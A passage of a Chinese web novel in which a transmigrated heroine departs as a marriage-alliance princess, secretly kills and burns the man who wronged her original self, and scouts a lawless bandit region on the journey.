沈安若则目光看向商玄澈,合着他白天跟自己逛街,晚上还回去弄了一个互市的方案,这男人有点优秀的样子啊! 再说沈安锦这边。 回到小院子以后就让人去将柳依依请来了。 “锦儿。” 沈安锦上前握住柳依依的手。 “母亲。” 母女二人一起进屋。 柳依依开口道。 “你放心,我这边已经跟你父亲说过,等到那两个小贱人一离开家,就将你接回沈家,到时候沈家就只有你一个女儿,你再也不会受委屈了。” 沈安锦闻言却扶着柳依依坐下,然后自己跪在她的面前。 “母亲,女儿不孝,以后怕是不能在母亲身边尽孝了。” 柳依依急忙起身扶她起来。 “锦儿,你这是在胡说什么?” 沈安锦依旧坚持跪着。 “母亲,女儿已经准备前往天元了,我先沈安若一步出发,或许更能找到机会………” 柳依依闻言气得无奈的开口。 “锦儿,你这又是何必呢?” “只要等她们离开了你的好日子就来了………” 沈安锦闻言抬头看着柳依依,眼里满是恨意。 “母亲,我没有好日子了,我在南都的名声已经毁了干净,所有人都知道我在青楼被………傅承越也不要我了,我只有去天元才能寻找到报仇的机会。” “只要是还在南都,沈安若背后就有皇室作为依靠,还有孟家周家的人都是她的狗腿子,但是去到天元以后就不一样了,同在异国他乡,我一定有机会弄死她。” 第六十四章 杀了回马枪 柳依依见她浑身充满戾气的模样,心疼的眼泪都掉了下来。 “锦儿,你能不能这一次听母亲的?” “名声的事情,母亲可以想办法,实在不行让你父亲给你换一个身份…………” 沈安锦听了却开口道。 “母亲,我只要沈安若死,还有沈安昕,她也该死。” 看着沈安锦里面的恨意,柳依依已明白了过来,沈安若只怕是已经成为扎在锦儿心里的那根刺了,这根刺不拔除,锦儿这一辈子都会不安心,看着沈安锦满眼都是担忧。 “锦儿,母亲也知道她们该死,可是这一去天元路途遥远,沿途还有山匪,你一个姑娘家,你让母亲如何放心?” “锦儿,你就听母亲一句好不好?你的弟弟这些日子在书院里面读书也很用功,夫子都夸他,明年就能考取功名利禄,到时候你有一个尚书的父亲,有一个……………” 听着柳依依一句又一句劝导自己的话,沈安锦抬头满眼都是坚定。 “母亲,我心意已决。” 随即朝柳依依磕头。 “还望母亲以后保重身体,就当白生养了女儿一场。” 柳依依见状流着眼泪伸手去拉她。 “罢了,罢了,你从小这性子就倔,母亲是留不住你了。” 沈安锦听着母亲哽咽的声音,心里也很不是滋味,也有那么一刻想着要不留下来,可是很快就被仇恨所替代,留在南都,自己出门都要被指指点点,天元乃是大国,自己只有去到那里,才能够找到更有权势的人对付沈安若。 “母亲你放心,女儿今日去了马帮,已经雇佣了马帮的高手,他们会护送女儿到天元皇城的,只要到了天元皇城,女儿一定能够找到得力的合作盟友。” 柳依依听了依旧满眼的担忧。 “可是你在天元人生地不熟啊!” 沈安锦闻言眼里闪过一抹恨意,沉思着开口。 “我在天元的确人生地不熟,可是天元太子熟啊,敌人的敌人就是朋友。” 柳依依闻言震惊的看了一眼沈安锦。 “锦儿,你的意思是你要去投靠太子殿下的敌人?” 沈安锦点了点头。 “对,夫妻一体,沈安若与天元太子结为夫妻,那么太子的敌人也会针对她,女儿只要找到了合适的人,再稍加利用………” 柳依依听着急忙摇头,伸手紧紧地拉住沈安锦的手。 “锦儿,那天元太子虽然母亲不了解,但是他身份尊贵,能够坐稳太子之位绝对也不是一般的人,你…………” 沈安锦打断了柳依依的话。 “母亲,女儿承认他不是一般的人,但是他的敌人也绝对不一般,天元的皇帝有许多的皇子吧,这太子之位可只有一个,在天元肯定有很多人等着将他拉下神坛,会有很多人帮女儿的。” 柳依依听了还想再说什么,沈安锦已经开口道。 “母亲,你不用再劝了,女儿心意已决,明日马帮的人就会接女儿离开,我嫁妆里面能带走的银票现银首饰女儿就带走了,那些摆件什么的,母亲就看着处理吧。” 柳依依听了将头偏到一边擦拭了眼泪。 “当真为了一个沈安若就要将自己搭进去吗?” 沈安锦闻言光坚定的开口。 “母亲,是谁笑到最后还不一定呢?” 柳依依无奈的点了点头。 “罢了,既然这天元你非去不可,那母亲就成全你吧。” 说完将自己手上的镯子退了下来,套上了沈安锦的手腕。 “这是当年你父亲送给我的,你戴着吧,以后想我和你父亲了,也算是有一个念想。” 随即将身上所有的银票都拿出来。 “母亲身上只有这些,沈家现在的状况你也知道,给不了你多的,出门在外,这些你都带着!” 沈家现在有些拮据,自己何尝不知道母亲能够拿出来的这些银票,怕都是自己私库里面的,而且为了给自己添置嫁妆,母亲的私库早已动得差不多了,沈安锦将银票放在了柳依依的手里。 “母亲,镯子女儿就带走了,这银票母亲留着吧,沈家一大家子需要开支………” 柳依依又将银票塞进她的手里。 “你们都走了,沈家那有什么别的开支?更何况,真需要银子也是你父亲去想办法,你拿着,锦儿,你记住了,母亲永远都在等着你回家,你任何时候回来,母亲都是你的依靠,你都是母亲唯一的女儿。” 沈安锦紧紧握住手中的银票,眼泪忍不住滚落下来,伸手抱住了柳依依,语气里面满是不舍。 “母亲,母亲。” “对不起,这些年总让母亲担忧,总让母亲善后,母亲放心,等女儿报了仇就回来跟母亲团聚。” 柳依依也抱着她泪流满面,因为沈安锦要离开了,以后还能不能再见到也难以知道,柳依依直接没有回沈家,而是留在小院里,抱着沈安锦说话。 就像是沈安锦小时候那般,母女二人在这小院相依为命,抱着说话。 一夜过去。 沈安锦第二天带着梨花,还有另外两个柳依依这些年培养的会一些拳脚功夫的小厮跟着马帮的人出发。 她一走,躺在床上的柳依依就睁开了眼睛,眼泪也滚了出来,然后着急忙慌的爬起来拿了衣服穿上,躲在了院子门背后,看着沈安锦的马车渐渐走远,拿着手帕擦拭着根本止不住的眼泪。 自己就这么一个女儿啊,她怎么就如此的倔了? 直到马车走到了城门口,顺利出了南都。 沈安锦掀开车帘子,看着南都的城门,心里五味杂陈,忍不住眼泪滚落。 沈安若,你害我至此,我们慢慢斗。 皇宫里。 因为进宫太晚,沈安若几人没有来得及出宫,自然是安排住在了宫里,第二天直接参加了送别宴,然后准备出发。 离别这一日。 沈安若一身婚服,也幸好她的身形跟百灵公主相似,婚服也倒是合适。 沈安若站在最前面,身后跟着沈安昕,王司记,还有玉儿等丫鬟。 随着太监的高喊。 “拜。” 沈安若对着南诏皇,南诏皇后,沈一山跪下深深一拜。 “再拜…………” 沈安若再一次深深一拜。 “三拜。” 直到沈安若拜完三拜。 太监才高呼。 “凰仪公主出嫁。” 沈安若在往司记的搀扶下起身,一只手接过团扇挡住了自己的脸。 南诏皇却从台阶上走了下,将自己的手臂递了过去。 “凰仪,舅舅送你。” 沈安若诧异的看了一眼南诏皇,将自己的手搭在了他的手臂上。 随着她一步步往外走。 一台又一台的嫁妆跟在了她的身后。 宫门口。 商玄澈一身喜服,见她一步步走来,嘴角勾起一抹笑意,当看到了南诏皇亲自送嫁,眼里闪过一抹惊讶。 南诏皇带着沈安若一步步走到了商玄澈面前,朝商玄澈拱手。 “太子殿下,南诏的掌中宝就托付给殿下了,还请殿下然后对她多多包涵,我南诏会记住殿下的这份情谊,只要凰仪过的好,南诏与天元永世交好。” 一直以来情绪稳定的沈安若,这一刻忍不住眼红,一颗眼泪顺着眼角滚落。 南诏皇拍了拍她的手背。 “凰仪,不要忘记了舅舅,这里永远都是你的家,到了天元以后,要好好的与太子殿下过日子,异国他乡,太子就是你的依靠,你凡事要与太子有商有量,若是有事,就写信回来给舅舅。” 或许自己与原主都没有体会过的父爱,这一刻倒是在南诏皇的身上体会到,沈安若掉着眼泪点了点头。 南诏皇也忍不住眼眶发红,这个外甥女才与自己亲近未多久,就要远嫁了,将沈安若的手放在商玄澈的手里,看着商玄澈的眼睛。 “拜托太子殿下了,这是一位父亲对女儿的担忧。” 商玄澈握紧了沈安若的手,朝南诏皇开口。 “南诏皇放心,本宫会护好凰仪。” 随着喜乐响起,和亲队伍出发,沈安若的嫁妆排满了一条街,可谓是十里红妆。 忠勇侯府。 小厮朝傅承越开口。 “世子,凰仪公主的队伍已经离开南都了。” 傅承越一下子松了一口气。 “终于走了,太好了,我安全了,快,让厨房准备好酒好菜,今日本世子要好好的喝上一杯。” 自从见识了沈安若一次又一次狠辣的手段以后,自己就担心她哪一天找自己算账,更担心沈安锦会不会发疯告诉沈安若以前的一些事情,现在她终于走了,再也不用担惊受怕了。 傅承越这一喝,就喝到了晚上。 躺在软榻上,呢喃着。 “沈安若,你这个祸害,你终于走了,天元可是大国,我诅咒你,去到那边所有人都不喜欢你,你的婆母蹉跎你,太子后院妻妾成群,你独守空房………” 忽然房间里一道声音响起。 “看来世子对本宫还真是恨之入骨啊!” 第六十五章 你还会嫁吗 听着这带着几分讥笑的声音,傅承越一个机灵,一睁眼,就看到了沈安若一身红衣站在自己的身前。 “你…………你…………” “沈安若,你不是走来吗?” 沈安若笑了笑。 “本宫若是不回来,还不知道世子这般恨本宫呢。” 傅承越心里一慌,立即大喊。 “来…………” 沈安若及时抬手点了他的哑穴,看着他摊在椅子上的样子,微微弯腰,一脸的笑意。 “傅承越,这浑身无力的感觉怎么样?” “很快你就要死了呢,是不是感觉很无助?” “就像沈安若当初在婚房里面被你打晕,只能任由你与沈安锦那个贱人在原本属于她的婚床上颠鸾倒凤那般无助。” 怎么感觉她说话怪怪?傅承越目光里带着祈求的看着沈安若摇头。 沈安若拿出匕首。 傅承越更加拼命的摇头,眼泪也滚了出来,她要杀自己? “呜呜呜…………呜呜呜…………” 沈安若嘴角勾起一抹笑意,可是她的眼里却是杀意。 “傅承越,记得见到沈安若的时候,跪下给她好好的道歉。” 说完抬手一刀扎进傅承越的脖子里。 鲜血飙了出来,沈安若急忙侧身躲开。 然后将匕首在傅承越的身上擦了擦,慢慢收起匕首。 从空间里拿出两坛子酒,倒在了傅承越的身上。 然后拿出一盒火柴。 划燃火柴,居高临下的扔在傅承越身上,火一下子就烧了起来。 沈安若看了一眼。 沈安若,我替你报仇了,沈安锦名声尽毁,这辈子都抬不起头,傅承越直接为你赔命,九泉之下你就安心投胎吧,下辈子希望你遇到一个负责的父亲,一个爱你的母亲,好好的幸福。 侯府外面的一个巷子里。 商玄澈见沈安若出现,眼里闪过一抹光芒。 “处理好了?” 沈安若点了点头。 而此时侯府里传来了呼喊的声音。 “快来人啊,世子的院子着火了!” “走水了…………” “救火啊。” 商玄澈伸手揽过她的腰,带着她飞跃而起,很快离开了这里。 侯府里。 因为救火及时,大火很快就扑灭了。 可是傅承越没有救回来,只有一具烧焦的尸体。 侯夫人坐在地上崩溃大哭。 “啊………我的越儿………越儿………” 忠勇侯看着烧焦的尸体,也忍不住老泪纵横,虽然这个儿子废了,可到底是自己的亲儿子啊,怎么就烧成了这样? 侯夫人哭的上气不接下气,最终晕倒了。 侯府一片混乱。 沈安若与傅承越则连夜追赶到了和亲队伍居住的客栈里。 躺在床上的时候,沈安若只感觉骨头都散了,连夜赶路真的是要了老命了,这具身子不行,真的需要锻炼,想到上辈子自己执行任务的时候,可是可以守着猎物三天三夜的。 商玄澈看着她毫无形象躺在床上的模样,缓缓走到床边坐下。 “累了?” 沈安若无奈的抬起沉重的眼皮看了他一眼。 “你这不废话吗?骑了那么久的马,我是个人啊,我能不累吗?” 商玄澈躺在她的身边。 “那就休息吧,还可以休息半个时辰,天亮就要出发了,到时候在马车里………” 察觉他靠近了自己。 沈安若一下子坐了起来。 “等等!不回自己房间吗?” 商玄澈看了她一眼。 “本宫也不想动。” 沈安若一边伸出疲惫的双手去推他,一边开口。 “这不行,你不能在我这,你回你自己的房间去。” 商玄澈被推了摔了下去,爬起来坐在床边。 “凰仪,你这是做什么?” 沈安若一脸无语的翻了一个白眼。 “本宫做什么?” “拜托,商玄澈,本宫现在是和亲公主,明日你那迎亲的仪仗看到你从本宫的房间里出去,那本宫的名声还要不要了?” 商玄澈听了诧异的开口。 “那又怎么了?你本来就是本宫的太子妃。” 沈安若只感觉自己现在又累又困。 “还没有到你们天元成亲之前,劳烦太子殿下都顾及一下本宫的名声,本宫要休息了,请太子殿下赶紧回自己的房间。” 见商玄澈不为所动。 沈安若不耐烦的催促。 “你倒是赶紧走啊。” 听着她疲惫的声音,商玄澈无奈的起身,拉了被子给她盖好。 “明日晚一个时辰出发。” 尽管晚了一个时辰出发,沈安若第二天依旧一脸的疲惫。 出发的时候沈安昕拉着她去一旁,一脸关心的开口。 “若儿,你怎么看起来这么疲惫?昨夜是没有睡好吗?” 不就是没睡好吗?可是又不能告诉美人姐姐自己去杀人了,沈安若一脸委屈的开口。 “姐姐,我有一点认床,这个客栈里面的床太硬了,不如家里的舒服。” 见她这般委屈的模样,偏偏嘟着嘴又很可爱,沈安昕伸手揽着她。 “原来是睡不习惯啊,我们先上马车,等一下在马车上你继续靠着姐姐睡。” 可以让美人姐姐抱抱,沈安若急忙点了点头,将自己的头靠在沈安昕的肩膀上撒娇。 “我就知道姐姐最好了,有姐姐的妹妹是块宝。” 商玄澈看着她胡说八道的样子,眼神变了吧,无奈的微微摇头。 “准备出发。” 沈安若这一睡,就睡到了下午才醒来。 掀开车帘子看着外面的风景,队伍离南都已经越来越远,自己来了这里一个月不到,就离开了,但是这段时间,的确体会过这里的风土人情,而且或许是这具身体的原因,对这片土地多少有一些依恋。 自己总感觉惠安公主不应该那么早就去了,希望孟贵妃能够帮忙查出来什么,自己原本想安排人查的,奈何初来乍到,手里的人全靠从别人那里薅来。 看着沈安若看着窗外沉思,沈安昕伸手握住她的手。 “若儿可是舍不得家?” 沈安若闻言回头一笑。 “没有什么舍不得的,毕竟有姐姐的地方就是我的家。” 随即伸手搂着沈安昕。 “姐姐,你会不会舍不得啊,毕竟南都是你从小生长大的地方。” 沈安昕伸手抱着她。 “有你的地方才是姐姐的家。” 此时商玄澈骑马慢了下来,等到与马车持平,才缓缓开口。 “凰仪,今夜没有来得及赶到城里,只怕我们要露营了。” 不就是露营吗?上辈子执行任务也是经历过的,沈安若缓缓开口。 “无妨,那就辛苦大家扎营了。” 很快队伍就生了火,也打来了野味烤上,商玄澈将一只鸡腿撕给她。 “拿着,伴着干粮一起吃。” 沈安若接过鸡腿,塞进一旁的沈安昕手里,然后朝商玄澈开口。 “太子殿下,把鸡翅给本宫吧,本宫喜欢吃鸡翅。” 商玄澈看了一眼沈安昕手里的鸡腿,最终扯下鸡翅给沈安若。 “凰仪,我感觉我们这称呼有些生疏了。” “等到了天元,我们就立即成亲了,甚至我们已经…………” “这总带着尊称是不是有一些不像夫妻。” 一旁吃鸡腿的沈安昕默默的看了二人一眼,然后朝马车走去。 自己算是看出来了,这天元太子一直找机会跟若儿相处呢,也是,今日若儿一天都跟自己待在一起呢,自己还是吃了东西回马车上睡觉吧。 沈安若则抬头看了一眼商玄澈,咬着手中的鸡翅。 “的确是有一些生疏了,太子殿下说该怎么称呼?” 商玄澈闻言开口道。 “不如我喊你若若,你喊我一声玄澈。” 若若?姐姐平日里都喊若儿呢,罢了一个称呼罢了,随他吧。 “那就听太子殿下的。” 商玄澈低头看着她。 “嗯?” 沈安若抬头看着他,无奈的露出一抹笑意。 “那就听玄的。” 见她手里的鸡翅吃的差不多了,商玄澈将另外一个鸡腿递给她。 “荒郊野外的,将就一下,辛苦了。” 说起来他也是未来的丈夫,照顾自己这个未婚妻也是他应尽的义务,沈安若不客气的接了过来。 “有饼吃,有鸡腿吃,这也不苦。” “玄澈,跟我说一说天元吧,或者说一说你在天元的处境,好歹到了那边咱们就是一条船上的了,我多知道一些消息,也好利于我在天元立足。” 商玄澈听了吃鸡肉的动作一顿,随即开口。 “你是公主,到了天元以后就是太子妃,只要你不通敌叛国,我都能护着你,真要说注意的…………” 想到了父皇对自己的态度,商玄澈看着沈安若。 “沈安若,若是我在天元不得宠,你还会嫁吗?” 第六十六章 上药 别若是了,明显就是不得宠了,唉,原本还想着当上太子妃以后能够躺平,现在看来大概率是躺不平了,沈安若沉思了片刻开口。 “皇室之中,有人得宠就有人失宠,哪怕是寻常百姓家,有两个或者多个儿子的,都会有人受委屈,有人被父母偏袒,何况是帝王之家,更需要平衡朝堂的各方势力。” 可她还是没有回答自己的问题,商玄澈看着她继续开口。 “那要是到了天元发现我不是最好的联姻对象呢?” 嘶,看来这商玄澈在天元的地位不太好啊,送命题啊,沈安若沉思片刻。 “商玄澈,我是南诏公主,要的东西很简单也很难,我要的是两国交好,我这个联姻公主可以给百姓带来一些好处,天元的皇子谁受宠与不受宠跟我关系不大,但是我肯定的一点,我沈安若嫁的那个人,心里得装着百姓。” “我与普通百姓所关注的东西是一样,谁当皇帝谁当储君对百姓来说都没什么关系,重要的是坐在那至高之位的人,是否会为这天下的苍生谋利?” “我与你相识不久,虽然这其中发生了挺多事情,但是对于你的过去并不了解,但是有一点我可以肯,你这个天元的太子,做事是从利民出发,就这一点看来,太子殿下就是南诏和亲最好的人选。” 商玄澈听了沉思片刻。 “我是天元太子,却也是陈家的太子,母后是陈家的女儿,当年父皇为了得到陈家的支持娶了母后,后来………” “李贵妃进宫,据说父皇与李贵妃青梅竹马,而李贵妃更是温柔贤淑,六岁那年,在在池塘边练剑,李贵妃在池塘边落水,陛下说是我惊吓了李贵妃,害死了自己的弟弟,我被关进冷宫一年,后来迫于陈家压力,父皇把我放出来了,出来以后却再也不能喊他父皇。” 又是这种渣男为了女方势力娶了又觉得愧对白月光的戏码,唉,果然豪门贵族都逃不开这种戏码。 “那现在李贵妃是不是有一个皇子。” 商玄澈微微的点头。 “是,二皇子是李贵妃流产的第二年怀上的,陛下视为珍宝,更是带在身边亲自教养,也是天元最受宠的皇子,父皇更是封为秦王。” “在陛下的有意扶持下,李家与陈家现在已经是不分伯仲了。” 这…………这不是去了天元就要开启宫斗还有权谋模式了,沈安若忍不住心里嘘嘘,不会在南诏宅斗没有死,把自己斗死天元里吧,这个时候后悔和亲还来得及吗? 看着沈安若的反应,商玄澈带着几分小心的开口。 “怕吗?” 抬头看了看商玄澈的脸,唉,多少有一点怕的,但是,这张脸好看啊,睡起来还不错,换人也多少有一点舍不得,而且就和亲公主这个身份,在哪里都得斗啊。 “兵来将挡,水来土掩吧,怕不怕我都是南诏公主了。” 吃饱以后,沈安若拿手帕擦了擦手,又拿起水囊喝了点水,抬手将手中的水囊递给他。 “我是沈家的嫡次女,却也是南诏惠安公主的女儿,你在南诏的那些日子应该把我的过去都调查了一遍,所以我倒是也不必忌讳说什么,皇帝舅舅和贵妃娘娘对我的关心我也不必分辨,因为他们给的好是实实在在的。” “想来你也查明白了,之所以会是我来和亲,是因为南诏的公主要么年龄不合适,年龄合适的又担任不了和亲公主这份差事,你我这场婚事为的是百姓,只要你是一个为天下苍生的储君,那我便会当好你的太子妃,一个为百姓所考虑的太子妃。” 毕竟底层人的生存从来都不容易。 商玄澈低头看着她。 “只是为了百姓吗?” 却见沈安若脸上已经有了困意,也是,二人已经聊了许久了。 伸手揽过她的身子,让她靠近自己的怀里。 刚好这个问题不太好回答,沈安若索性闭上眼睛休息。 接下来,为了锻炼锻炼这副身子,沈安若大部分时间都在骑马。 这身子平日里都是养在宅子里,又有一个护犊子的姐姐,哪里吃过这种苦? 很快双腿处就磨破了,手上也磨破了。 又到了一座城休息的时候,沈安昕一边给她在手上要一边心疼的开口。 “你这是何必呢?” “有马车不坐非要骑马,你看看这手都伤成什么样了?” 手上的疼痛感传来,还有大腿内侧也传来火辣辣的疼痛感,沈安若忍不住发出来痛呼声。 “嘶………” “姐姐你轻一点,疼。” 沈安昕无奈的看了她一眼。 “以后跟我一起坐马车吧。” 沈安若朝自己的手吹了吹气。 “的确要休息了,我这也是感觉这去了天元,还不知道都会遇到什么妖魔鬼怪,我这里提升一下自己各方面的能力啊。” 沈安昕看了看她,继续小心翼翼的把她的手包扎起来。 “你那天跟太子殿下聊了什么?” 若儿就是从那天跟太子聊天以后开始骑马的。 沈安若闻言开口道。 “也不是什么重要的事,就是聊了一下天元暂时的状况,无非就是那种争权夺利的戏码,在哪里都有的,我倒是见怪不怪了。” 此时门外传来了敲门声。 “若若。” 得,这背后不能说人,说曹操曹操就到了。 沈安昕起身道。 “你的手包扎好了,今天先不要碰水,既然太子来看你了,那姐姐就先回房间了。” 走到门口开了门,朝商玄澈福身。 “太子殿下。” 商玄澈抬手虚扶。 “本宫来看看若若,长姐不必多礼!” 长姐??这还没有成亲呢就改口了,罢了,成亲也是迟早的,沈安昕点了点头,然后离开。 商玄澈走进来,就看到了沈安若包起来的手。 “明日开始你不许骑马了,你要是坐马车无聊,我陪着你。” 沈安若看了看自己的爪子,几个手指都被包扎起来,有点难看的样子。 “我知道了。” 商玄澈拿出一瓶药。 “坐床上去!” 沈安若看着他。 “你要干嘛?” 商玄澈看了她一眼,就看了看她的爪子。 “你的手都包扎成这样了,你不会想着自己给大腿上药吧?” 第六十七章 是猎物还是猎人 沈安若嘴角抽了抽,完犊子,美人误事,刚刚就顾着享受美人姐姐的关心了,应该先给大腿擦了药再让美人姐姐给手上药的。 “你怎么知道我大腿也受伤了?” 商玄澈开口道。 “看得出来你很少骑马,这忽然骑了这么久,肯定擦伤了。” 沈安若抿了抿唇。 “要不你等一会儿再来看我,我先让玉儿进来给我上个药?” 商玄澈起身,就在沈安若以为他会出去时,商玄澈将她抱起来放在床上,伸手去撩她的裙子。 沈安若心里一惊,急忙用手臂挡住。 “不行,我让玉儿来………” 商玄澈闻言看着她。 “若若,咱们之间用得着这么生疏吗?” 用得着的,沈安若眨了眨眼睛。 “那个,那个,没有一个女人喜欢把自己身上的伤疤展现在喜欢的人面前。” 随即嘟了嘟嘴。 “哎呀,你出去嘛,好不好嘛!” 商玄澈见她坚持,无奈的伸手刮一下她的鼻尖。 “你啊。” 然后走了出去,很快玉儿进来,给沈安若上了药。 商玄澈走进来,就见她盘腿坐在床上。 走到她的身边坐下。 “接下来这两日你好好养一养你这伤,算一算路程,再有两天就到天涯山了,有可能不太太平。” 沈安若微微皱眉。 “就是那个三不管地带天涯山?” “那下一个城池就是南诏的文州了。” 商玄澈点了点头。 “你这也知道?” 沈安若听了缓缓开口。 “我肯定是看过地图的,这一路要经过哪些城市还是知道的。” 忽然话峰回路转。 “这天涯山既然也靠近天元,为什么这么多年天元没有想过归纳到自己的领土内?” 商玄澈的目光变得深邃,他轻轻摩挲着手指,似乎在思考如何措辞。 “天涯山地处三国交界,地形复杂多变,易守难攻,且山中势力盘根错节,盗匪横行,更有一些不愿受管辖的武林人士隐居其中。天元虽强,但若要强行收复,代价不菲,且难以彻底安定。故而历代国君都选择维持现状,只要他们不打扰周边的百姓,朝廷也就睁一只眼闭一只眼。” 沈安若闻言,不禁唏嘘。 “原来如此,真是一片三不管的混乱之地。那我们这次经过,会不会遇到什么麻烦?” 商玄澈安抚地一笑,眼神坚定。 “放心,我早有准备。此次出行,我带了足够的护卫,且沿途已与各地势力打过招呼,但凡有眼力见的应该不会招惹天元太子。” “毕竟这些年天涯山之所以一直存在,那是因为他们一直像江湖势力那样,从不招惹各国朝廷的人。” 真是一群欺软怕硬的东西,不过这一个三不管地带,或许对自己来说会是一个好地方,沈安若看向商玄澈。 “玄澈,天色不早了,明日我们还要赶路呢,你赶紧回房间休息吧,我也要早些休息了。” 商玄澈看了看她。 “也好,那你睡吧。” 然后才起身离开。 商玄澈一走,沈安若就沉思了起来。 在南诏,自己和姐姐已经没有家了,虽然皇帝舅舅对自己不错,但也是因为自己替百灵公主和亲,这份关系谁也不能保证永远,更何况皇室之人利益至上。 而在天元 ,根据商玄澈的意思,他在天元不但不受宠,还会被天元皇打压,自己与他是夫妻,只怕天元皇也不会太待见自己,甚至还有那些后宅阴私。 普天之下,莫非王土。 或许自己可以利用这天涯山走一个捷径,给自己和姐姐留一个地方。 想明白以后,沈安若拉了拉自己的衣服,起身来到了隔壁放嫁妆的地方。 王司记见沈安若进来了,急忙起身。 “公主,你怎么来了?” 沈安若笑着开口。 “王司记,本宫有些饿了,玉儿那丫头估计睡着了,你能不能去帮本宫找一点吃的。” 王司记听了急忙起身,责备的语气开口道。 “这玉儿这丫头,怎么开始偷懒了,公主这么辛苦,应该照顾好公主才是。” 沈安若听了笑着开口。 “无妨,她只是一个普通丫鬟,又没有武功在身,这体力本来就要差一些,这会儿睡得沉也是正常的,劳烦王司记了。” 王司记听了急忙开口。 “妾身这就去找店家,给公主取吃的。” 沈安若听了拉着她的手开口。 “可是我不想吃店里做的,王司记我们现在离南都越来越远了,感觉这两天吃的东西跟在南都吃的口味都不太一样了,我有点想念南都的美食了。” 公主这是想南都了啊,王司记眼里闪过一抹心疼,伸手拍了拍沈安若的手。 “妾身去给公主做。” 沈安若听了高兴的点了点头。 “那好,本宫挑两份喜欢的首饰。” 待王司记出去,沈安若这才打开了箱子,箱子里面装的满满的嫁妆,因为全部归置在一起了,看着有些乱,但是不影响沈安若看着眼睛冒星星。 抬手将几个箱子里的金银财宝收走,沈安若又放了一些土进去装满箱子,全部盖上,上了锁。 第二天队伍继续出发。 当队伍靠进了文州,沈安若掀开帘子看着大街上的场景。 相比起南都的热闹繁华,文州倒是也热闹,但是可不繁华,街道上的房屋铺子都比较老旧,也有许多的摊贩,但是街角处许多乞丐在讨饭。 “行行好吧,这位客官行行好…………” “这位贵人,我已经两天没有吃饭了,你给我办个包子好不好?” 只见一个妇人披头散发面黄肌瘦的抱着一个男子的腿,而男子手里拿着一个包子正在啃着。 似乎是被打扰到男子的眼里,闪过一抹厌恶,将手中剩下的包子丢给了妇人,却一脚踹在妇人的身上。 “滚开,当真是晦气。” 妇人被踹的摔在地上,可是却顾及不了许多,急忙将手里的包子往嘴里塞,其他的乞丐见状,冲过来抢她手里的包子。 “给我留一点,我也两天没有吃饭了。” “给我,拿过来吧。” 沈安若眉头紧皱。 “没想到南诏的温州居然是这样的。” “剑梅剑兰,你们将干粮拿去分给那些乞丐孩子。” 商玄澈开口道。 “这里是边境,这样的情况不奇怪,那些乞丐有可能是别的地方逃来的,也有可能是边境没有土地的,或者家道中落家中遇难的,天元的边城可能稍微好一点,但是也有遇到乞丐的时候。” 随即叹了一口气。 “这天下还有百姓吃不饱饭,是上位者的无能。” 随即吩咐了一声。 “苍术,去买一些包子馒头,分发给城里的乞丐,就说这是南诏凰仪公主给他们的。” 沈安若听了诧异的看着他。 “我?” 商玄澈伸手握住她的手。 “这里是南诏。” 很快队伍包了一家客栈住了下来。 吃了饭以后,沈安若就借口累了回房休息了。 回到了房间里,却打开了房间的窗子,将一块红色丝巾系在窗子上,然后在窗户旁边放了一盏灯笼。 入夜。 一个一身黑衣的男子从窗户里飞进来。 恭敬的朝沈安若单膝跪下。 “剑柏参见公主。” 沈安若淡定的端着茶杯。 “都打探到了什么?” 剑柏恭敬的拱手。 “回公主的话,这天涯山主要是分为三个区域,一个上武林人士所在的片区,一个是山匪靠打劫过往商队为一个片区,最后一个比较混乱,那就是各地方落魄的人,亡命之徒,或许是那些蒙受不白之冤的人集中在一个区域。” “整个天涯山因为缺乏官府衙门有效管控,导致欺诈、暴力事件频发,打架斗殴更是家常便饭。” 沈安若的手指轻轻敲击着桌面,沉思片刻。 “那山匪片区的情况如何?” 剑柏听了开口道。 “山匪片区主要由几股势力较大的匪帮控制,他们经常下山打劫过往的商队和行人,以此为生。不过,这些匪帮之间也常有争斗,并无统一的领导。” 沈安若继续发问。 “武林人士片区呢?” 剑柏继续回应。 “那里聚集了许多江湖上的武林高手,他们大多独来独往,但也有不少门派在此设立分坛。这个片区相对较为平静,但若有外人闯入,也可能会遭到攻击。” 沈安若听了嘴角勾起一抹笑意。 还真是一个蛇龙混杂的地方呢,目前看来最好下手的就是山匪了。 毕竟高级猎人都以猎物的方式出场。 “再去探一探那些山匪窝都叫什么?最厉害的是哪一个。” 第六十八章 黑吃黑 第二天。 队伍整装出发。 沈安若坐在马车里。 看着文州一路许多的乞丐,还有妇人抱着孩子乞讨的,看着那些逢头垢面身体瘦弱的乞丐,沈安若神色凝重了几分。 商玄澈伸手握住她的手。 “别忧心,等到南诏与天元的互市做了起来,对于边城百姓的生活都会有所改善的。” 想要改善生活,就要带动经济,只有经济起来了,生活才会跟着起来,银子只有实实在在在百姓手中流通的时候才能带来民生,沈安若缓缓开口。 “可是有天涯山在,只怕互市坐起来不容易啊。” 商玄澈闻言握着她的手开口。 “你不是看过地图吗?那就应该知道,南诏与天元之间还有另外两座城池相邻,只不过若是经过天涯山,就少绕路而已,商人若是担心天涯山的山匪,可以选择绕路,不想绕路的也可以雇请镖局保驾护航。” “等到合适的机会,就算不将天涯山收了,我也会想一个法子,让南诏与天元的商人可以平安走过天涯山。” 这个合适的机会是等他登基吧!沈安若笑了笑。 “天元能够有你这样一位储君,是百姓的福气。” 听着沈安若的夸赞,商玄澈缓缓开口。 “君者舟也,庶人者水也,水能载舟,亦能覆舟,为君者,只有百姓吃饱穿暖,才能够坐稳那个位置,才能够配得上天下百姓的恭敬。” 看着他一脸严肃的样子,沈安若伸手摸了摸他的脸。 “原来我们的太子殿下心怀大爱啊,那我要是不做一点什么,倒是有愧于站在太子殿下的身边了。” “还请太子殿下将这马车上的旗帜收了。” 商玄澈听得眼里有一抹疑惑。 “为何?” “这是天元旗帜,若是收了只怕是有不长眼的要找麻烦了。” 沈安若看着商玄澈的目光。 “大概我要的就是他们找麻烦。” 商玄澈看着她,眼中闪过一丝惊疑,却也没有多问,只是依言让人将马车上的天元旗帜取下。 队伍继续前行,沈安若的马车变得不再显眼,仿佛只是普通的行商队伍。 果不其然,没了天元旗帜的庇护,一些不法之徒开始蠢蠢欲动。 很快就遇到了好几波山匪。 但是人数都不多,很快被商玄澈的人解决了。 直到经过了竹林。 忽然走在前面的侍卫连人带马的滚落到地上。 四周无数的竹子直飞而来。 沈安若与商玄澈携手飞出马车。 这有实力的出现了。 “保护好大小姐和陆公子。” 沈安若吩咐道。 剑兰剑梅一脸警惕的守住沈安锦的马车。 商玄澈的侍卫将几人围起来,原本隐藏在暗中的暗卫也都出现了。 飞来的竹子被暗卫拦截。 忽然两支利箭朝二人飞来。 商玄澈腰间的利剑出鞘,准确的接住一剑。 